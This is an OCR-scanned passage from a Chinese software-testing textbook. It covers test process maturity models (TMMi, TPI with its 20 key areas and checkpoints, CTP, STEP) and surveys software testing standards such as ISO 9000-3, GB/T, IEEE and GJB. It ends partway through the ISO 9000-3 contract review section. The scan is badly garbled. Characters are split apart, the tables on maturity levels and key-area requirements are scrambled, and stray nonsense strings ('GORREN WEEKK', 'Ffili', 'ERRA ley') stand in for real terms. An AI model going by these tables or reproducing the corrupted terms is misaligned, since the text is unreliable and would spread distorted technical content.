伊 州 的 技术 组 织 开 发 的 ,总 结 了 TMM 和 CMMI 当中 相应 过 程 域 的 实践 经 验 , 包 含 两 个 主 
要 文档 : 

。 TMMi 参考 模型 (级 别 2 和 级 别 3 的 2. 0 版 本 已 发 布 ) ,描述 了 TMHMi 的 结构 及 其 所 


,每 个 级 别 的 组 成 包括 到 期 目标 、 到 期 子 


有 过 程 域 ,包括 支持 过 程 域 的 具体 实践 。 
TMMi 评估 方法 应 用 需求 (TAMAR) 描 述 如 何 建立 适合 TMMi 参考 模型 的 评估 方 
法 ,也 就 是 定义 评估 方法 的 需求 。 

表 4-2 测试 成 熟 度 模型 的 基本 描述 


级 别 简单 描述 特征 日 标 
Initial( 初 始 级 ) 还 不 能 把 测试 同调 试 分 开 ， 
1 | 测试 处 于 一 个 混乱 的 状态 ,缺乏 | 编码 完成 后 才 进 行 测试 工作 
成 熟 的 测试 日 标 ,测试 处 于 可 有 | 测试 的 日 的 是 表明 程序 没有 错 
可 无 的 地 位 缺乏 相应 的 测试 资源 
Phase Definition( 阶 段 定义 级 ) 测 | 测试 被 看 作 是 有 计划 的 活动 | 启动 测试 计划 过 程 ， 
2 | 试 日 标 是 验证 软件 符合 需求 ,会 | 测试 同调 试 分 开 ; 为 基本 的 测试 技术 和 方法 
采用 基本 的 测试 技术 和 方法 | 但 编码 完成 后 才 进 行 测试 工作 ”| 制度 化 
Integration( 集 成 级 ) pal 建立 软件 测试 组 织 ， 
测试 不 再 是 编码 后 的 一 个 阶段 ，| a a cc rye, | 制订 技术 增 训 计划 ， 
3 | 而 是 把 测试 贯穿 在 整个 软件 生 SRN Cw ”| 测试 在 整个 生命 周期 内 
: ea | 没有 建立 起 有 效 的 评审 制度 ; |、 
命 周期 中 。 测 试 是 建立 在 满足 | 没有 建立 起 质量 控制 和 质量 度 | 进行 
用 户 或 客户 的 需求 上 aer. 控制 和 监视 测试 过 程 
进行 可 靠 性 ,可 用 性 和 可 维护 性 Pashia tei 
Management and Measurement | 等 方面 的 测试 ; g 
(管理 和 度量 级 ) 采用 数据 库 来 管理 测试 用 例 ; a a 
a | 测试 是 一 个 度量 和 质量 控制 过 | 具有 缺陷 管理 系统 并 划分 缺陷 | 建立 组 织 范围 内 的 评审 
BE. 在 软件 生命 周期 中 评审 作 | 的 级 别 ， a 
为 测试 和 软件 质量 控制 的 一 | 还 没有 建立 起 缺陷 预防 机 制 , 且 | ,。，，、、 
部 分 缺乏 自动 地 对 测试 中 产生 的 数 oe 
据 进行 收集 和 分 析 的 手段 ees 
运用 缺陷 预防 和 质量 控制 措施 ; 
Optimization( 优 化 级 ) 选择 和 评估 测试 工具 存在 一 个 raha ia 
。 | 县 有 缺陷 预防 和 质量 控制 的 能 力 ，| 既定 的 流程 : GORREN WEEKK 
已 经 建立 起 测试 规范 和 流程 ,并 | 测试 自动 化 程度 高 ， RE 
不 断 地 进行 测试 过 程 改进 自动 收集 缺陷 信息 ; et 
有 常规 的 缺陷 分 析 机 制 


4.2.2 TPI 


TPI 是 基于 连续 性 表示 法 的 测试 过 程 改 进 的 参考 模型 ,是 在 软件 控制 测试 知识 以 及 过 
往 经 验 的 基础 上 开发 出 来 的 。TPI 模型 用 于 支持 测试 过 程 的 改进 ,包括 了 一 系列 的 关键 域 、 
生命 周期 .组织 基础 设施 .工具 及 技术 ,并 可 以 用 于 了 解 组 织 内 测试 过 程 的 成 熟 度 。 在 这 个 
基础 上 ,该 模型 帮助 我 们 定义 了 渐进 的 、 可 控 的 改进 步骤 。TPI 模型 的 构成 如 图 4-10 所 示 。 


sp 71 
| 关键 域 (Key Areas) ! 
1 
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1 
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| 检查 点 (Checkpoints) 改进 建议 (Improvement Suggestions) 


图 4-10 TPI 模 型 的 构成 


1. 关键 域 

TPI 模型 考虑 了 测试 过 程 的 各 个 方面 ,如 测试 工具 的 使 用 ,设计 技术 或 报告 。 通 过 对 不 
同方 面 的 评估 ,测试 过 程 的 优点 和 缺点 都 变 得 清晰 ,这 些 方面 被 称 为 关键 域 。 测 试 过 程 分 为 
20 个 测试 组 织 需要 明确 的 关键 域 , 基 线 和 改进 建议 都 是 基于 以 下 20 个 关键 域 进行 的 。 

(1) 测试 策略 (Test Strategy). 

(2) 生命 周期 模型 (Lifecycle Model) 。 

(3) 介入 时 间 (Moment of Involvement). 

(4) 估计 和 计划 (Estimating and Planning). 

(5) 测试 规格 技术 (Test Specification Technique) 。 

(6) 静态 测试 技术 (Static Test Technique). 

(7) 度量 (Metric)。 

(8) 测试 自动 化 (Test Automation)。 

(9) 测试 环境 (Testing Environment), 

(10) 办 公 环 境 (Office Environment)。 

(11) 承诺 与 动力 (Commitment and Motivation)。 

(12) 测试 功能 与 培训 (Test Function and Training) 。 

(13) 方法 的 范围 (Scope of Methodology). 

(14) 沟通 (Communication)。 

(15) 报告 (Reporting) 。 

(16) 缺陷 管理 (Defect Management) 。 

(17) 测试 件 管理 (Testware Management) 。 

(18) 测试 过 程 管理 (Test Process Management) 。 

(19) Ffili (Evaluation) 。 

(20) 底层 测试 (Low-Level Testing) . 


2. 级 别 


为 了 了解 过 程 在 每 个 关键 域 所 处 的 状态 , 即 对 关键 域 的 评估 结果 ,是 通过 级 别 来 体现 。 
模型 提供 了 4 个 级 别 ,由 A 到 D, A 是 最 低级 。 根 据 测 试 过 程 的 可 视 性 改善 ,测试 效率 的 提高 ， 
或 成 本 的 降低 以 及 质量 的 提高 ,级别 会 有 所 上 升 。 例 如 ,对 于 关键 域 “ 报 告 ”,4 个 级 别 分 别 是 : 

a 报告 发 现 的 缺陷 ; 

b. 报告 测试 过 程 的 进度 ; 

c. 定义 系统 风险 以 及 根据 度量 提供 建议 ; 

d. 提供 具有 测试 过 程 改进 特征 的 建议 。 

对 于 各 个 关键 域 的 不 同 级 别 描述 , 详 见 表 4-3 所 示 。 如 果 关键 领域 非常 不 成 熟 , 也 有 可 
能 达 不 到 初始 A 级 的 要 求 。 有 些 关键 领域 可 能 只 能 评 为 A 或 者 B( 如 “估算 和 计划 ”) ,而 其 
他 (如 “度量 与 分 析 ”) 的 评级 范围 可 以 是 A、B、C 或 者 D。 对 于 给 定 的 关键 领域 评估 ,可 通过 
对 TPI 模型 所 定义 的 检查 点 进行 评估 实现 。 例 如 , 当 关键 领域 所 要 求 的 检查 点 都 满足 了 A 
级 和 B 级 的 要 求 ,那么 这 个 关键 域 就 达到 了 B 级 。 


表 4-3 各 个 关键 域 不 同 级 别 的 要 求 


级 别 A B C D 
LR 
f 高 层 测试 和 底层 测 i 
测试 策略 单个 高 层 测试 的 | 高层 测试 的 组 合 策略 | 试 或 评估 的 组 合 | 所 有 测 武 和 评估 的 
策略 组 合 策略 
策略 
- =a 
生命 周期 模型 | 计划 .说 明 .执行 | EE a ET 
行 、 完 成 
介入 时 间 测试 基线 完成 后 | 测试 基线 开始 需求 定义 开始 项 目 启动 
aes 被 证 实 的 估算 和 | 统计 意义 上 被 证 实 
ERRA ley 的 估算 和 计划 
测试 规格 技术 | 非 正 式 的 技术 ”| 正式 的 技术 
EWE | 测试 基线 的 检查 ”| 检查 列表 
个 
度量 项 目 度量 (产品 ) | 项 目 度量 (过 程 ) | 系统 度量 oo 
测试 自动 化 | 工具 的 使 用 可 管理 的 测试 自动 化 | 优化 的 测试 自动 化 
可 管理 和 可 控制 a 按 需 的 (on-demand) 
测试 环境 pita 最 适合 测试 的 环境 | 
足够 的 .及 时 的 办 
办 公 环 境 ed 
Se errr 
承诺 与 动力 | 预算 和 时 间 的 分 配 oo 的 | 测试 .工程 
(正式 的 ) 方 法 .技术 | ~ 
ae 测试 经 理 和 测试 员 | 和 功能 等 方面 的 支 oe 
持 .管理 i 
MKR A 
方法 的 范围 项 日 特定 的 组 织 通 用 的 = eee 
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续 表 
EN l 

关键 域 A B E D 

, ar MAAE ORAE | BEREE 

i pa 更 控制 ) 的 组 织 内 沟通 

进展 (测试 和 产品 的 

ee ak 状态 )、 活 动 (成 本 、| 经 过 度量 数据 呈现 | 具有 软件 过 程 改进 

. 时 间 和 里 程 碑 )、 具 | 的 风险 .建议 特性 的 建议 
有 优先 级 的 缺陷 

(测试 团队 ) 内 部 | 具有 灵活 报告 机 制 | 

HERA 的 缺陷 管理 的 外 部 缺陷 管理 | TEAR 

内 部 的 测试 件 | 测试 基线 和 测试 对 | 从 系统 需求 到 测试 
测试 伯 管 理 | 名 而 en 可 复 用 的 测试 件 a met 
| 计划 .执行 .监控 和 | 组 织 内 的 监控 和 

测试 过 程 管理 | 计划 和 执行 in m 

评估 评估 技术 评估 策 咯 

底层 测试 生命 周 
底层 测试 期 , 计划 ,说 明和 | 白 盒 测试 技术 底层 测试 策略 
执行 


TPI 模型 定义 了 众多 过 程 和 等 级 之 间 的 依赖 关系 。 这 些 依赖 关系 保证 了 测试 过 程 的 均 
衡 发 展 。 例 如 ,如 果 关 键 域 “报告 ”没有 相应 地 达 A 级 ,那么 关键 领域 “度量 与 分 析 ” 也 就 不 
可 能 达到 A 级 ,因为 如 果 没 有 测试 报告 ,度量 与 分 析 就 没有 意义 。 对 于 依赖 关系 的 使 用 ,在 
TPI 模型 当中 是 可 选 的 。 

3. 测试 成 熟 度 和 矩阵 

测试 成 熟 度 矩阵 提供 了 关键 域 各 个 等 级 (A/B/C/VD) 和 总 体 测试 过 程 成 熟 度 等 级 的 映 
射 关 系 , 如 表 4-4 所 示 , 这 可 以 很 好 地 帮助 我 们 定义 内 在 的 优先 级 ,以 及 级 别 和 关键 域 之 间 
的 依赖 关系 。 每 个 级 别 都 关联 到 测试 成 熟 度 一 个 特定 的 度量 尺度 , 它 被 分 为 13 种 尺度 。 由 
这 些微 小 的 尺度 构成 总 体 等 级 ,总 体 等 级 包括 可 控 的 .有效 的 和 不 断 优化 的 。 

可 控 的 : 测试 过 程 可 以 为 了 解 测试 对 象 的 质量 提供 足够 的 可 视 性 ,而 且 按 照 已 定义 
的 测试 策略 完成 测试 的 执行 ,采用 合适 的 测试 说 明 技术 ,缺陷 被 记录 下 来 并 被 报告 。 
有 效 的 : 测试 不 仅 是 可 控 的 ,而 且 达 到 良好 的 效率 ,例如 借助 自动 化 测试 ,整合 组 织 
内 各 种 有 效 的 测试 方法 、 项 目的 测试 策略 等 达到 这 个 等 级 。 

不 断 优 化 的 : 持续 的 测试 流程 改进 .引入 新 的 测试 方法 、 建 立新 的 测试 架构 等 ,从 而 
最 大 限度 地 保持 测试 效率 和 质量 。 

4. 检查 点 

为 了 能 客观 地 决定 各 个 关键 域 的 级 别 ,TPI 模型 提供 了 一 种 度量 工具 一 一 检查 点 。 每 
个 级 别 都 有 若干 个 检查 点 ,测试 过 程 只 有 在 满足 了 这 些 检查 点 的 要 求 之 后 , 才 意味 着 它 达 到 
了 特定 的 级 别 。 


R44 各 个 关键 域 不 同 级 别 的 要 求 
总 体 等 级 可 控 的 有 效 的 不 断 优化 的 


关键 域 o;1);2]3 }]4 45 ] 6/47 +7) 81] 9 } 10] 11 | 12 | 13 


测试 策略 A B Č D 


生命 周期 模型 A B 


介入 时 间 A B C D 


估计 和 计划 A B 


测试 规格 技术 A B 


静态 测试 技术 A B 


度量 A B fs D 


测试 自动 化 A B C 


测试 环境 A B Cc 


办 公 环 境 A 


承诺 与 动力 A B € 


测试 功能 与 培训 A B C 


方法 的 范围 A B C 


沟通 A B 


a 


报告 A B C D 


缺陷 管理 A B C 


测试 件 管理 A B c D 


测试 过 程 管理 A B C 


评估 A B 


底层 测试 A B C 


之 此 


例如 ,关键 域 "沟通 ”级 别 A 一 一 “内 部 沟通 ”的 检查 点 有 : 

。 测试 团队 内 部 是 否 有 一 个 定期 的 会 议 ,会 议 有 固定 的 日 程 安排 并 集中 讨论 测试 进度 
和 测试 对 象 的 质量 ? 

。 每 个 团队 成 员 是 否定 期 参加 会 议 ? 

。 执行 偏离 计划 是 否 和 团队 沟通 并 记录 在 案 ? 

而 同一 关键 域 "沟通 ?级别 B 一 一 “项 目 沟通 ”的 检查 点 ,除了 上 述 级 别 A 的 3 个 检查 点 

,还 要 检查 

。 每 次 会 议 是 否 有 记录 (形成 会 议 纪 要 )? 

。 会 议 中 除了 讨论 测试 进度 和 测试 对 象 的 质量 之 外 ,还 是 否 将 测试 流程 质量 作为 固定 
讨论 的 主题 之 一 ? 

。 测试 经 理 是 否定 期 在 项 目 会 议 上 报告 测试 进度 ` 测 试 对 象 的 质量 测试 流程 质量 以 
及 项 目 中 存在 的 风险 ? 

。 会 议 中 达成 的 一 致意 见 (或 协议 ) 是 否 有 文字 记录 ? 

* 计划 和 发 布 日 期 的 任何 变化 是 否 及 时 通知 测试 经 理 ? 

。 在 定期 的 缺陷 分 析 和 解决 会 议 上 ,测试 团队 和 其 他 团队 的 代表 是 否 都 参与 ? 

。 变更 控制 是 否认 真 考 虑 了 对 测试 工作 的 影响 ? 

在 TPI 的 评估 过 程 当中 ,将 会 使 用 定量 的 度量 和 定性 的 访谈 以 建立 测试 过 程 成 熟 度 


等 级 。 


5. 建议 

检查 点 帮助 测试 人 员 发 现 测试 过 程 中 的 问题 ,而 建议 会 帮助 测试 人 员 解 决 问题 ,最 终 改 
进 测试 过 程 。 建 议 不 仅 包含 对 如 何 达 到 下 个 级 别 的 指导 ,而 且 还 包括 一 些 具体 的 操作 技巧 、 
注意 事项 等 。 例 如 ,针对 关键 域 “沟通 "级别 A 一 一 内 部 沟通 ”的 建议 有 : 

。 要 求 每 个 测试 团队 的 成 员 定期 评估 测试 流程 ,提出 哪些 地 方 执行 得 很 好 ,哪些 地 方 

需要 改进 ; 
。 在 会 议 中 提出 的 一 些 措施 要 得 到 一 致 的 处 理 或 一 贯 的 执行 ; 
。 项目 安排 都 应 该 在 会 议 上 宣布 。 


4.2.3 CTP 


关键 测试 过 程 (Critical Test Process,CTP) 评 估 模 型 主要 是 一 个 内 容 参考 模型 ,一 个 上 
下 文 相关 的 方法 ,并 能 对 模型 进行 裁剪 ,包括 : 

。 特殊 挑战 的 识别 。 

。 优秀 过 程 属 性 的 识别 。 

。 过 程 改进 实施 顺序 和 重要 性 的 选择 。 

使 用 CTP 的 过 程 改 进 , 始 于 对 现 有 测试 过 程 的 评估 ,通过 评估 以 识别 过 程 的 强 弱 ,并 结 
合 组 织 的 需要 提供 改进 的 意见 。CTP 识别 了 12 个 关键 测试 过 程 ,通过 实施 这 些 关键 过 程 ， 
来 改进 测试 过 程 ,造就 成 功 的 测试 团队 。 不 同 特定 背景 下 的 评估 不 同 ,但 一 般 而 言 ,CTP 评 
估 将 对 下 列 数量 相关 的 度量 与 分 析 进 行 检查 : 

。 缺陷 发 现 率 。 

。 投资 回报 率 。 

。 需求 覆盖 率 和 风险 覆盖 率 。 

。 测试 发 布 管理 费用 。 

。 缺陷 报告 拒绝 率 。 

CTP 评定 过 程 中 通常 对 下 面 的 质量 因素 进行 评估 : 

。 测试 小 组 角色 和 效率 。 

。 测试 计划 效用 。 

。 测试 小 组 测试 水 平 .背景 知识 和 技术 。 

。 缺陷 报告 效率 。 

。 测试 结果 报告 效率 。 

。 变更 管理 效率 和 平衡 。 

评估 过 程 中 识别 出 薄弱 过 程 域 后 ,需要 开始 制定 改进 计划 。 模 型 为 每 个 关键 测试 过 程 
提供 了 通用 改进 计划 ,但 评估 小 组 需要 对 它们 进行 合适 的 裁剪 。 

曾 任 ISTQB 主席 的 Rex Black 写 过 一 本 CTP 的 书 , 书 名 就 是 Critical Testing Processes. 
在 这 本 书 中 ,展示 了 管理 测试 项 目的 4 个 关键 过 程 一 一 计划 (Plan) . ME (Prepare) 、 执 行 
(Perform) 和 完善 (Perfect) ,可 以 说 是 4P。4P 可 能 受到 著名 的 质量 大 师 W.E. Deming 的 
PDCA(Plan-Do-Check-Act, 计 划 - 执 行 -检查 -改进 ) 循 环 的 启发 ,虽然 两 者 有 比较 大 的 差异 。 

4P 关键 过 程 可 分 成 实践 和 管理 这 两 个 部 分 ,计划 和 完善 主要 是 管理 工作 ,准备 和 执行 
是 实践 工作 ,强调 在 早期 计划 和 准备 阶段 投入 了 大 量 的 时 间 与 精力 ,因为 认真 细致 的 计划 将 


使 测试 的 实际 执行 平滑 和 迅速 。 

(1) 计划 (Plan) : 主要 关注 做 好 测试 的 项 目 管理 ,包括 如 何 和 其 他 团队 达成 一 致 的 意 
见 ,有 效 地 解决 问题 ,避免 冲突 。 

。 分 析 风 险 ,决定 测试 的 重点 。 

。 评估 测试 的 时 间 和 成 本 。 

。 分析 预算 并 评估 测试 的 投资 回报 (减少 的 劣质 成 本 /测试 的 成 本 )。 

。 使 参与 工作 的 每 个 成 员 在 评估 方面 达成 一 致 。 

。 计划 测试 。 

(2) 准备 (Prepare) : 从 管理 人 员 签 定 总 体 计划 到 测试 团队 开始 执行 测试 用 例 的 过 程 。 
这 个 阶段 主要 工作 是 人 员 聘 用 、 团 队 建设 和 培训 、 建 立 测试 制度 和 衡量 测试 覆盖 率 等 问题 ， 
包括 如 何 面 对 不 清晰 的 需求 定义 ,如 何在 进度 .预算 和 质量 之 间 获 得 平衡 。 

(3) 执行 (Perform) : 讨论 测试 团队 如 何 与 发 布 工程 或 者 配置 管理 团队 合作 ,以 及 产品 
构建 怎样 移交 到 测试 团队 的 信息 。 因 为 每 一 项 都 很 好 地 计划 并 预先 充分 地 准备 ,所 以 ,执行 
就 比较 容易 ,虽然 现实 中 测试 执行 可 能 是 最 长 的 阶段 。 

(4) 完善 (Perfect); 完成 产品 的 测试 和 改进 测试 过 程 ,包括 如 何 发 现 ,报告 并 响应 问 
题 ,以 及 缺陷 处 理 过 程 中 如 何 有 效 沟通 。 

如 果 进一步 细 分 ,软件 测试 还 可 以 分 为 12 个 子 关 键 过 程 ,它们 是 : 

(1) 测试 。 

(2) 建立 上 下 文 关系 和 测试 环境 (context)。 

(3) 质量 风险 评估 。 

(4) 测试 估算 。 

(5) 测试 计划 。 

(6) 测试 团队 开发 。 

(7) 测试 (管理 ) 系 统 开发 。 

(8) 测试 发 布 管理 。 

(9) 测试 执行 。 

(10) 缺陷 报告 。 

(11) 测试 结果 报告 。 

(12) 变更 管理 。 


4.2.4 STEP 


STEP(Systematic Test and Evaluation Process ,系统 化 测试 和 评估 过 程 ) 是 一 个 内 容 
参考 模型 ,认定 测试 是 一 个 生命 周期 活动 ,在 明确 需求 后 开始 直到 系统 退役 。STEP 提倡 通 
过 测试 在 软件 开发 生命 周期 早期 介入 来 改进 质量 ,而 不 是 作为 编程 结束 之 后 的 一 项 关键 活 
动 , 以 确保 更 早 地 发 现 缺陷 ,包括 发 现 由 需求 定义 ,设计 规格 说 明 书 和 设计 等 引入 的 缺陷 。 

STEP 与 CTP 比较 类 似 ,而 不 像 TMMI 和 TPI, 并 不 要 求 改进 需要 遵循 特定 的 顺序 。 
某 些 情况 下 ,STEP 评估 模型 可 以 与 TPI 成 熟 度 模型 结合 起 来 使 用 。STEP 的 实现 途径 是 
使 用 基于 需求 的 测试 方针 以 保证 在 设计 和 编码 之 前 ,已 经 设计 了 测试 用 例 以 验证 需求 规格 
说 明 。 该 方法 识别 并 关注 测试 中 的 3 个 主要 阶段 : 


"计划 : 制定 测试 策略 ,开发 总 的 测试 计划 和 详细 的 各 个 单项 的 测试 计划 。 
。 获得 测试 件 : 包括 定义 测试 目标 ,创建 测试 计划 和 设计 测试 用 例 。 
。 度 量 : 执行 测试 ,确保 测试 是 充分 的 ,并 得 到 严格 的 监控 。 

STEP 方法 的 基本 前 提包 括 : 

。 基于 需求 的 测试 策略 。 

。 在 生命 周期 初始 开始 进行 测试 。 

。 测试 需求 和 使 用 模型 。 

。 由 测试 件 设计 导出 软件 设计 (测试 驱动 开发 ) 。 

。 及 早 发 现 缺陷 或 完全 的 缺陷 预防 。 

。 对 缺陷 进行 系统 分 析 。 

。 测试 人 员 和 开发 人 员 一 起 工作 。 


STEP 的 评估 过 程 中 ,使 用 定量 的 度量 和 定性 的 访谈 。 定 量 的 度量 和 分 析 包括 : 


。 不 同时 期 的 测试 状态 。 
。 测试 需求 和 风险 覆盖 o 
缺陷 趋势 ,包括 发 现 、 等 级 和 分 类 分 项 数据 。 
缺陷 密度 。 
。 缺陷 移 除 效率 。 
缺陷 发 现 率 。 
。 缺陷 引进 ,发 现 和 移 除 等 阶段 。 
测试 成 本 ,包括 时 间 ,工作 量 和 资金 。 
量化 的 因子 包括 : 
。 已 定义 的 测试 过 程 使 用 。 
。 客户 满意 度 。 
详细 内 容 , 可 以 参考 Rick Craig 和 Stefan P. Jaski 著 的 Systematic Software 
(有 中 文 译本 《系统 的 软件 测试 》) 。 


4.3 软件 测试 标准 和 规范 


我 们 知道 ,一般 先 有 标准 ,然后 再 形成 规范 。 标 准 显得 更 为 宏观 化 ,而 规范 则 全 


Testing 


E 往 是 标 


准 在 某 个 领域 的 具体 应 用 中 逐步 形成 的 ,更 具 该 领域 特点 ,更 易于 操作 标准 。 软 件 测试 规范 
也 是 如 此 。 软 件 测 试 规范 可 分 为 行业 规范 与 操作 规范 ,行业 规范 主要 是 指 软件 行业 长 期 总 
结 形成 的 通用 规范 ,而 操作 规范 则 指 某 一 公司 在 长 期 的 软件 测试 工作 中 总 结 出 属于 自己 企 
业 的 规范 ,特别 是 对 于 专业 提供 测试 服务 的 企业 ,这 种 操作 规范 内 容 与 实施 情况 往往 是 其 取 


得 软件 开发 商 信任 的 法 宝 。 
4.3.1 概述 
根据 软件 工程 标准 制定 的 机 构 和 标准 适用 的 范围 ,可 将 其 分 为 5 个 级 别 , 即 国 


际 标准 、 


国家 标准 ,行业 标准 \ 企 业 ( 机 构 ) 规 范 及 项 目 规范 。 很 多 标准 的 原始 状态 可 能 是 项 目标 准 或 


企业 标准 ,但 随 着 行业 的 发 展 与 推进 ,其 权威 性 可 能 促使 它 发 展 成 为 行业 、 国 家 或 国 


际 标准 ， 


因此 这 里 所 说 的 层次 也 具有 一 定 的 相对 性 。 


i 


国际 标准 


一 般 , 由 国际 机 构 制定 和 公布 供 各 国 参考 的 标准 为 国际 标准 。 比 如 ,ISO(CInternational 
Standards Organization ,国际 标准 化 组 织 ) , 它 具 有 广泛 的 代表 性 和 权威 性 , 它 所 公布 的 标准 
也 具有 国际 影响 力 。 例 如 和 测试 相关 的 国际 标准 有 : 


ISO 9000-3 Quality management and quality assurance standards Part 3: 
Guidelines for the application of GB/T 19001-ISO 9001 to the development, supply 
and maintenance of software (质量 管理 和 质量 保证 标准 第 三 部 分 : 在 软件 开发 、 供 
应 和 维护 中 的 使 用 指南 ) 

ISO/IEC 14598 Software Engineering-Product Evaluation (软件 工程 -产品 评估 ) 
ISO/ IEC 9126 Information technology-Software product evaluation-Quality 
characteristics and guidelines for their use (信息 技术 -软件 产品 评价 -质量 特性 及 其 
使 用 指南 ) 

ISO/IEC 12119 Information technology-Software packages-Quality requirements 
and testing (信息 技术 -软件 包 - 质 量 要 求 和 测试 ) 

ISO/IEC TR 15504 Information technology-Software process assessment (信息 技 
术 -软件 过 程 评估 ) 

ISO/IEC 17025 General requirements for the competency of testing and calibration 
laboratories( 测 试 和 校准 实验 室 认证 的 总 体 要 求 ) 

ISO/IEC 17799;2005 Information technology-Security techniques-Code of practice 
for information security management (信息 技术 -安全 技术 -信息 安全 系统 的 编程 
实践 ) 

ISO/IEC 19011; 2002 Guidelines for quality and/or environmental management 
systems auditing( 质 量 / 环 境 管理 系统 评审 指南 ) 


20 世纪 60 年 代 初 ,ISO 建立 了 计算 机 与 信息 处 理 技术 委员 会 一 -ISO/TC97 ,专门 负 
责 与 计算 机 有 关 的 标准 化 工作 。ISO 制定 的 标准 一 般 标 有 ISO 字样 ,如 ISO 10013:1995 质 
量 手册 编写 指南 。 


2. 


国家 标准 


由 政府 或 国家 级 的 机 构 制 定 或 批准 ,适用 于 本 国 范围 的 标准 。 如 : GB 为 中 国 国 家 标准 
化 管理 委员 会 ,是 我 国 的 最 高 标准 化 机 构 , 它 所 公布 实施 的 标准 简称 为 “国标 ”(GB); ANSI 
(American National Standards Institute, 美 国 国家 标准 协会 ) 是 美国 民间 标准 化 组 织 的 领导 
机 构 ,在 美国 甚至 全 球 都 具有 一 定 权 威 性 , 它 所 公布 的 标准 都 冠 有 ANSI 字样 。 和 软件 测试 
相关 的 国家 标准 有 : 


GB/T 15532 一 2008《 计 算 机 软件 测试 规范 》 

GB/T 8566 一 2007K 信 息 技术 -软件 生存 周期 过 程 》 

GB/T 8567 一 2006《 计 算 机 软件 文档 编制 规范 》 

GB/T 16260. X 一 2006《 软 件 工程 -产品 质量 》 

GB/T 20158 一 2006《 信 息 技 术 - 软 件 生存 周期 过 程 配置 管理 》 


。 GB/T 18905. X 一 2002《 软 件 工程 -产品 评价 》 
e GB/T 17544 一 1998《 信 息 技术 -软件 包 - 质 量 要 求 和 测试 》 
3. 行业 标准 
行业 标准 是 由 一 些 行业 机 构 、 学 术 团体 或 国防 机 构 制定 ,并 适用 于 某 个 业务 领域 的 标 
准 , 如 : 
。 IEEE(Institute Of Electrical and Electronics Engineers 为 美 电气 和 电子 工程 师 学 
会 。 该 学 会 专门 成 立 了 软件 标准 技术 委员 会 (SESS) ,积极 开展 了 软件 标准 化 活动 ， 
取得 了 显著 成 果 , 受 到 了 软件 界 的 关注 。IEEE 通过 的 标准 常常 要 报请 ANSI 审批 ， 
使 其 具有 国家 标准 的 性 质 。 因 此 ,IEEE 公布 的 标准 常 冠 有 ANSI 字样 。 例 如 ， 
ANSI/IEEE Std 829 IEEE standard for software test documentation( 软 件 测 试 文 
档 IEEE 标准 )、IEEE Std 1008 单元 测试 标准 、IEEE Std 1012—1998 IEEE 
Standard for Software Verification and Validation (软件 验证 和 确认 标准 ) 和 IEEE 
std 1500-Standard for Embedded Core Test( 嵌 入 式 内 核 测 试 标准 ) 等 。 
。 GJB 为 中 华人 民 共 和 国 国家 军用 标准 。 这 是 由 我 国 国防 科学 技术 工业 委员 会 批准 ， 
适合 于 国防 部 门 和 军队 使 用 的 标准 。 例 如 ,1988 年 发 布 实施 的 GJB473 一 88 军用 软 
件 开发 规范 。 
。 DOD-STD (Department Of Defense-Standards) 为 美国 国防 部 标准 。 
e MIL-S(Military-Standards) 为 美国 军用 标准 。 
另外 ,我 国 的 一 些 经 济 部 门 (如 工信部 、 质 量 监督 检验 总 局 等 ) 也 开展 了 软件 标准 化 工 
作 , 制 定 和 公布 了 一 些 适 用 于 特定 行业 的 规范 。 当 然 , 在 制定 这 些 规范 的 时 候 大 都 参考 了 国 
际 标准 或 国家 标准 ,对 各 自行 业 所 属 企业 的 软件 工程 工作 起 了 强 有 力 的 推动 作用 。 
4. 企业 规范 
一 些 大 型 企业 或 公司 ,由 于 软件 工程 工作 的 需要 ,制定 适用 于 本 部 门 的 规范 。 例 如 , 美 
国 IBM 公司 通用 产品 部 (General Products Division)1984 年 制定 的 “程序 设计 开发 指南 ”。 
5. 项 目 规范 
项 目 规范 是 为 一 些 科研 生产 项 目 需 要 而 由 组 织 制 定 一 些 具 体 项 目的 操作 规范 ,此 种 规 
范 制定 的 目标 很 明确 , 即 为 该 项 任务 专用 。 例 如 ,计算 机 集成 制造 系统 (CIMS) 的 软件 工程 
规范 。 当 然 ,项 目 规范 虽然 最 初 的 适用 范围 小 ,但 如 果 它 能 成 功 地 指导 一 个 项 目 成 功 地 运作 
并 可 以 重复 使 用 ,也 有 可 能 就 发 展 成 为 行业 的 规范 或 标准 。 


4.3.2 ISO/GB 软件 质量 体系 标准 


ISO 9000 系列 标准 原本 是 为 制造 硬件 产品 而 制定 的 标准 ,不 能 直接 用 于 软件 过 程 。 后 
来 ISO 组 织 试图 将 ISO 9001 进行 修改 用 于 软件 开发 方面 ,但 效果 不 佳 。 于 是 ,以 ISO 9000 
系列 标准 的 追加 形式 ,另行 制定 出 ISO 9000-3 标准 。 这 样 ,9000-3 就 成 了 用 于 “使 9001 适 
用 于 软件 开发 .供应 及 维护 ”的 “指南 ”。 不 过 ,在 9000-3 的 审议 过 程 中 ,各 国 提出 不 少 修改 
意见 ,所 以 在 内 容 上 与 9001 已 有 相当 不 同 。ISO 9000-3( 即 GB/T 19000. 3 一 94) ,全 称 ( 质 
量 管理 和 质量 保证 标准 第 三 部 分 : 在 软件 开发 ,供应 和 维护 中 的 使 用 指南 》。 

ISO 9000-3 作为 软件 企业 实施 ISO 9001 质量 保证 模式 标准 的 实施 指南 ,通过 对 软件 产 


品 从 市 场 调查 .需求 分 析 、` 软 件 设计 、 编 码 ` 测 试 等 开发 工作 ,直至 作为 商品 软件 销售 ,以 及 安 
装 和 维护 整个 过 程 进 行 控 制 , 保 障 软件 产品 的 质量 。 我 们 知道 ,ISO 9000-3 其 实 是 ISO 质 
量 管理 和 质量 保证 标准 在 软件 开发 .供应 和 维护 中 的 使 用 指南 ,并 不 作为 质量 体系 注册 / 认 
证 时 的 评估 准则 ,主要 是 考虑 软件 行业 的 特殊 性 制定 的 。 参 照 ISO 9001《 质 量 体 系 -设计 、 开 
发 .生产 、 安 装 和 服务 的 质量 保证 模式 ), 并 引用 ISO 8402《 质 量 管理 和 质量 保证 术语 》, 使 得 
ISO 9000 系列 标准 应 用 范围 得 以 拓展 。 本 部 分 内 容 主要 以 ISO 9000-3 原始 标准 为 蓝本 对 
ISO 9000-3 进行 介绍 ,其 核心 内 容 主要 有 以 下 一 些 : 

。 合同 评审 ; 

。 需 方 需求 规格 说 明 ; 

。 开发 计划 ; 

。 质量 计划 ; 

。 设计 和 实现 ; 

。 测试 和 确认 ; 

。 验收 ; 

。 复 制 , 交 付 和 安装 ; 

。 维护 。 

1. 合同 评审 

在 投标 或 接受 合同 或 订单 之 前 , 供 方 应 对 标书 合同 或 订单 进行 评审 ,以 确保 : 

